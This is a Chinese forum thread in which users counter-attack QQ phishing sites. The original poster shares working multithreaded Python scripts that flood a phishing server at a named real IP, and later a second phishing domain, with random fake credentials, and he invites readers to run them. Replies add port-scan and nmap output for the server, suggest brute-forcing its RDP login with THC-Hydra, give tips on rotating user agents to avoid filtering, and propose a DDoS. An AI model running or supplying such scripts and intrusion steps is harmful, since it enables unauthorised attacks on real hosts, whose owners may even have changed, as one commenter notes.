群里的同学 QQ 号估计是被盗了,有几个人发了几个钓鱼的邮件到群里。 都是仿的 QQ 邮箱,还放得很垃圾。
昨天尝试用 Python 疯狂提交随机的垃圾账号和密码,然后其中一个过了不久就不能访问了,今天发现又恢复了 大家有啥好玩的想法吗。
群里的同学 QQ 号估计是被盗了,有几个人发了几个钓鱼的邮件到群里。 都是仿的 QQ 邮箱,还放得很垃圾。
昨天尝试用 Python 疯狂提交随机的垃圾账号和密码,然后其中一个过了不久就不能访问了,今天发现又恢复了 大家有啥好玩的想法吗。
好像钓鱼的人已经把解析换了 附上其中一个服务器的 ip。 服务器用的是 windows server 2003 (够古老的。。。) 103.106.244.16
我发现他只是把域名解析关了,把域名换成ip,拼上路径还是能访问的。
比如:
附上我用来给他发送垃圾QQ号和密码的Python代码 大家可以拿来随便跑跑,多给他搞点数据😏
import requests
import random,string,time,_thread
import json
def doSomething(threadName,times):
print(threadName,"\t","第{0}次".format(times),"开始")
qqnumber = random.randrange(12345678,999999999)
qqpasslen = random.randrange(8,14)
t = random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefghijklmnopqrstuvwxyz.',qqpasslen)
qqpass = ''.join(t)
data = {
"name":'{0}'.format(qqnumber),
"pass":qqpass,
"code":"emil",
"uid":111,
"tempId":143
}
header = {
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Encoding":"gzip, deflate",
"Proxy-Connection":"keep-alive",
"Accept-Language":"zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36",
"X-Requested-With":"XMLHttpRequest",
}
r = requests.post("http://103.106.244.16/Jhenix/proxy/quick-login",data=data,headers=header)
text1 = r.text
r_data = json.loads(r.text)
if r_data["Status"] == "ERROR":
time.sleep(random.randrange(4,10))
r = requests.post("http://103.106.244.16/Jhenix/proxy/quick-login",data=data,headers=header)
text2 = r.text
print(threadName,"\t","第{0}次".format(times),"\t", data,"\t",text1,"\t",text2)
else:
print(threadName,"\t","第{0}次".format(times),"\t", data,"\t",text1)
def do100times(threadName):
for i in range(0,10000):
doSomething(threadName,i)
for i in range(0,10):
try:
_thread.start_new_thread(do100times,("线程:{0}".format(i),))
except:
print("创建线程失败")
while 1:
pass
1
ww23xx Jan 11, 2019 via Android
昨天原来就是你搞的啊,记载小本本上了。(。•ˇ‸ˇ•。)
|
2
BlueSky335 OP @ww23xx 😏
|
3
wqjdzh Jan 11, 2019
一个能打开的都没有
|
4
wulu Jan 11, 2019 via Android
没一个能打开的
|
5
wulu Jan 11, 2019 via Android
python 提交的有源码吗
|
6
zaqzaq0125 Jan 11, 2019
挂了?
|
7
wsstest Jan 11, 2019
一个能打开的都没有+1
|
8
yuanshuai1995 Jan 11, 2019
我第二个能打开
|
9
BlueSky335 OP |
10
tankren Jan 11, 2019
全部都打不开
|
11
BlueSky335 OP 好像钓鱼的人已经把解析换了
附上其中一个服务器的 ip。 服务器用的是 windows server 2003 (够古老的。。。) 103.106.244.16 |
12
geying Jan 11, 2019
这个界面也太糊了吧,,,
|
13
trn4 Jan 11, 2019
http://103.106.244.16/Jhenix/upload/20190104012209.jpg
除了登录框,其他的就整个是张背景图…… |
14
BlueSky335 OP @wulu 我把代码贴上来了
|
15
anmaz Jan 11, 2019
关键还是美图秀秀截的图
|
16
bearqq Jan 11, 2019 via Android
_thread.start_new_thread
就算简单写写也建议换成 threading 的实现 |
17
zhila Jan 11, 2019
全是图片,这个仿的太不走心了吧...
|
18
Yiki Jan 11, 2019
仿得好差...
|
19
megamilk Jan 11, 2019
别人费劲心机的在那招摇撞骗,懂技术的知根知底搁那笑而不语并时不时的找个漏洞给补两枪,大佬,这波骚操作小弟佩服
|
20
PEIENYKYK Jan 11, 2019
谢谢代码分享
|
21
JKeita Jan 11, 2019
密码再搞得真一点。
|
22
BlueSky335 OP 他的服务器的远程登录端口没关,windows 远程桌面能链接上去,有没有办法破解一下服务器密码?😏
|
23
Pi7bo1 Jan 11, 2019
吃瓜
|
24
supuwoerc Jan 11, 2019
全员恶搞 lei 了 哈哈
|
25
catalina Jan 11, 2019
@BlueSky335 THC-Hydra 可解,虽然我并不抱希望,因为不知道它有没有。
And: 虽然已经打不开了。。。 建议加一个随机 ua 的功能,老是一个 ua 搞事容易被人家一批排除掉吧? 而且最好用的是手机浏览器或手机 QQ 各种版本的 ua 而不是电脑浏览器的 ua (滑稽) 在此献上一枚: Mozilla/5.0 (Linux; Android 8.1 <手机型号字串> Build/***1.171019.011; WV) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.132 MQQBrowser/6.2 TBS/044404 Mobile Safari/537.36 V1_AND_SQ_7.8.2_926_YYB_D QQ/<7.8.2.3750> NetType/<WIFI/2G> WebP/0.3.0 Pixel/720 StatusBarHeight/60 使用<>括起来的可以替换。 需要注意的是:其中 NetType 类仅包含 WIFI 和 2G 两个选项,无论是 2G、3G、4G,在 apache2 的 access 日志里显示的全都是 2G。 不过说起来咱倒是无所谓的啦,这个人弄个钓鱼网站也弄得那么烂,大概技术也不会有多高就是咯。 |
26
catalina Jan 11, 2019
补全:
不知道它有没有修改登录的账户名并把 administrator 禁用掉。 最近老是写着写着忘掉一半 orz |
27
BlueSky335 OP @catalina 哈哈哈,这个钓鱼网站能玩一年
|
28
dreamweaver Jan 11, 2019
dosomething 可还行
|
29
MaxTan Jan 11, 2019
一发 DDos 让它升天
|
30
sdijeenx Jan 11, 2019
端口扫描结果,3389 端口暂时还没关=3=
Port Scan has started … Port Scanning host: 103.106.244.16 Open TCP Port: 80 http Open TCP Port: 3389 ms-wbt-server Open TCP Port: 47001 Open TCP Port: 49152 Open TCP Port: 49153 Open TCP Port: 49154 Open TCP Port: 49155 Open TCP Port: 49156 Open TCP Port: 49163 |
31
sdijeenx Jan 11, 2019
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-11 19:51 CST
Nmap scan report for 103.106.244.16 Host is up (0.075s latency). Not shown: 975 closed ports PORT STATE SERVICE 19/tcp filtered chargen 53/tcp filtered domain 80/tcp open http 111/tcp filtered rpcbind 135/tcp filtered msrpc 139/tcp filtered netbios-ssn 389/tcp filtered ldap 445/tcp filtered microsoft-ds 593/tcp filtered http-rpc-epmap 901/tcp filtered samba-swat 1068/tcp filtered instl_bootc 1900/tcp filtered upnp 3128/tcp filtered squid-http 3333/tcp filtered dec-notes 3389/tcp open ms-wbt-server 5800/tcp filtered vnc-http 5900/tcp filtered vnc 6129/tcp filtered unknown 6667/tcp filtered irc 49152/tcp open unknown 49153/tcp open unknown 49154/tcp open unknown 49155/tcp open unknown 49156/tcp open unknown 49163/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 25.39 seconds |
32
looseChen Jan 11, 2019
讲道理现在 qq 不是有设备验证吗?密码拿去了也没啥用把
|
33
mmdsun Jan 11, 2019 via Android
@BlueSky335 03 漏洞很多的。找漏洞黑进去
|
34
leetom Jan 12, 2019
我碰到这种一般都是提交一堆 “骗子死全家”
|
35
catalina Jan 12, 2019
@mmdsun
@BlueSky335 不知道为啥,已经不是 server 2003 了,刚试了一下 mstsc 过去,直接弹出凭据输入框了: https://s2.ax1x.com/2019/01/12/FjPPaD.png 这让我惊了一下。因为据我所知,server2003 的登录界面是接受连接,然后在远程界面输入用户名和密码的,像这样: https://imgsa.baidu.com/exp/w=480/sign=559b6788bb389b5038ffe15ab534e5f1/6d81800a19d8bc3ed27f7b5c808ba61ea8d34534.jpg 看一下这张图,我用 xp sp2 的 mstsc(因为 xp 的 mstsc 没更新过就没有本地凭据输入功能)登过去看,服务器已经变成 server 2008 r2 enterprise 了。。。 https://s2.ax1x.com/2019/01/12/Fj9GkQ.png 我有点怀疑这台服务器是不是被盗号者重装了、或者被收回卖给其它用户了,所以各位,在弄清楚前,最好还是不要急着动手搞了吧。。。 |
36
passerbyb Jan 12, 2019
老早就有这玩意了 https://s2.ax1x.com/2019/01/12/FjisAS.jpg
那时候还是个: http://dajie.tnyxw.cn/mail (别访问现在是跳转到广告) 非常猖狂 域名里就有“打劫” 和楼主的系统一模一样 熟悉的 iis |
38
catalina Feb 12, 2019
有个新的钓鱼网站,求大佬给个脚本:
http://www.sdgznn.xyz/zhaohuan/index.php 顺带一提这货竟然还开了 Cloudflare,收入要跟不上成本了嗷... 这是 Fd 的截图: https://s2.ax1x.com/2019/02/12/kdHtBT.png 这是 POST 请求的原始数据: POST http://www.sdgznn.xyz/shzz.php HTTP/1.1 Host: www.sdgznn.xyz Connection: keep-alive Content-Length: 40 Cache-Control: max-age=0 Origin: http://www.sdgznn.xyz Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.96 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Referer: http://www.sdgznn.xyz/zhaohuan/index.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: __cfduid=d2c620c1f7d51db5f25177058eedd67ad1549953151; PHPSESSID=s1ihq2h5lc79oin9gp9ocquth7; pgv_pvid=3105476176; pgv_info=pgvReferrer=&ssid=s9559103325; ts_last=www.sdgznn.xyz/zhaohuan/index.php; ts_uid=2846290358; ied_rf=www.sdgznn.xyz/zhaohuan/index.php u=1029385028&p=fuckyou%21%21%21&bianhao= 我输入的账号是"1029385028",密码"fuckyou!!!",我不知道哪来的 bianhao |
39
BlueSky335 OP @catalina 表单中有一个隐藏的 Input 标签,name 是 bianhao,这个做得还真像。输入密码账号之后还跳转了官网。
我修改了一下之前的代码,post 请求好像不管传啥参数都是返回的 200,然后跳转官网,技术有限,不是专门搞这一块的,所以不知道有没有成功。 import requests import random,string,time,threading lock = threading.Lock() def doSomething(threadName,times): lock.acquire() print(threadName,"\t","第{0}次".format(times),"开始\n") lock.release() qqnumber = random.randrange(12345678,999999999) qqpasslen = random.randrange(8,14) t = random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefghijklmnopqrstuvwxyz.',qqpasslen) qqpass = ''.join(t) data = { "u":'{0}'.format(qqnumber), "p":qqpass } header = { "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Encoding":"gzip, deflate", "Proxy-Connection":"keep-alive", "Accept-Language":"zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36", "X-Requested-With":"XMLHttpRequest", } r = requests.post("http://www.sdgznn.xyz/shzz.php",data=data,headers=header) lock.acquire() if r.status_code == 200: print(threadName,"\t","第{0}次".format(times),"\t", data,"\t","成功\n") else: print(threadName,"\t","第{0}次".format(times),"\t", data,"\t","失败\n") lock.release() def do100times(threadName): for i in range(0,10000): doSomething(threadName,i) for i in range(0,10): try: t = threading.Thread(target=do100times,args=("线程:{0}".format(i),)) t.start() except: print("创建线程失败") while 1: pass |
40
BlueSky335 OP @catalina 妈耶,回复格式全乱了,对于 Python 简直是灾难。(=_=)居然不能删除评论?
|
41
catalina Feb 13, 2019 via Android
@BlueSky335 谢谢,已发感谢
|